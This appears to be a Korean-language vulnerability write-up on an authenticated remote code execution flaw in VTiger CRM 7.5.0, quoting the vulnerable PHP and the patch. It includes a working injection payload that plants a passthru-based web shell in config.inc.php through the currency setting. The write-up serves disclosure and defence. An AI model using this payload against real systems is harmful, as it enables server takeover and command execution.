
VTiger 오픈소스 CRM v7.5에서의 인증된 원격 코드 실행
VTiger 오픈소스 CRM v7.5에서의 인증된 원격 코드 실행
VTiger CRM 오픈소스 버전 7.5.0의 현재 릴리스에 있는 Users 모듈에 취약점이 존재합니다. 이 취약점은 인증된 공격자가 임의의 PHP 코드를 작성하여 config.inc.php에 실행시킬 수 있도록 합니다.
사용자가 VTiger에 정상적으로 인증되면, 시스템은 사용자의 설정 상태를 확인하여 아직 완전히 구성되지 않은 새 사용자인지 확인합니다. 또한 첫 번째 사용자인지 확인합니다. 즉, 특정 글로벌 속성을 구성해야 하는 관리자 여부를 확인합니다. 그렇다면 사용자는 Users 모듈의 UserSetup 액션으로 리디렉션됩니다.
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users');
$isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
/modules/Users/Authenticate.php, line 112
이 액션에서는 사용자가 글로벌 통화 설정("USA, Dollars"가 기본값)을 전달했는지 확인하고 updateBaseCurrency 함수를 사용하여 저장합니다.
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName);
$userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId());
//End
/modules/Users/actions/UserSetupSave.php, line 28
updateBaseCurrency 함수에서 제공된 값은 데이터베이스의 전체 시스템에 대한 글로벌 통화 설정으로 설정되며, updateConfigFile 함수도 호출합니다. 이 함수는 구성 파일을 열고 PHP str_replace를 사용하여 기존 값을 제공된 값으로 대체합니다.
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name =
\''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
}
}
/modules/Users/models/Module.php, line 148
현재 버전의 VTiger CRM에서 사용자 설정 액션은 사용자가 실제로 설정되었는지 여부나 글로벌 변수를 변경할 권한이 있는지 확인하지 않습니다. 단지 해당 페이지에 접근하고 있다면 설정을 구성해야 하는 사람이라고 가정합니다. 따라서 기존 세션 쿠키와 인증된 페이지 로드에서 가져온 CSRF 토큰을 사용하여 악의적인 사용자는 다음과 같은 통화 값을 POST로 보낼 수 있습니다.
USA, Dollars';@passthru($_GET['cmd']);//
이 값은 config.inc.php 파일에 다음과 같이 그대로 기록됩니다.
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
구성 파일이 모든 페이지에서 로드되므로 악의적인 사용자는 cmd 매개변수로 유닉스 명령을 전달하고 페이지 상단에서 출력을 볼 수 있습니다.

이 문제는 이 커밋에서 수정되었으며, 추가 검증이 추가되어 사용자가 악의적인 통화 이름을 입력할 수 없도록 하고 대신 데이터베이스 테이블에서 값을 가져오도록 합니다.
public function updateBaseCurrency($currencyName) {
$db = PearDatabase::getInstance();
$result = $db->pquery('SELECT currency_code, currency_symbol, currency_name FROM vtiger_currencies WHERE currency_name = ?', array($currencyName));
$num_rows = $db->num_rows($result);
if ($num_rows > 0) {
$currency_code = decode_html($db->query_result($result, 0, 'currency_code'));
$currency_symbol = decode_html($db->query_result($result, 0,'currency_symbol'));
$currencyName = decode_html($db->query_result($result, 0, 'currency_name')); // rewrite actual from table.
} else {
// Invalid currency name.
return;
}
$this->updateConfigFile($currencyName);
//Updating Database
$query = 'UPDATE vtiger_currency_info SET currency_name = ?, currency_code = ?, currency_symbol = ? WHERE id = ?';
$params = array($currencyName, $currency_code, $currency_symbol, '1');
$db->pquery($query, $params);
}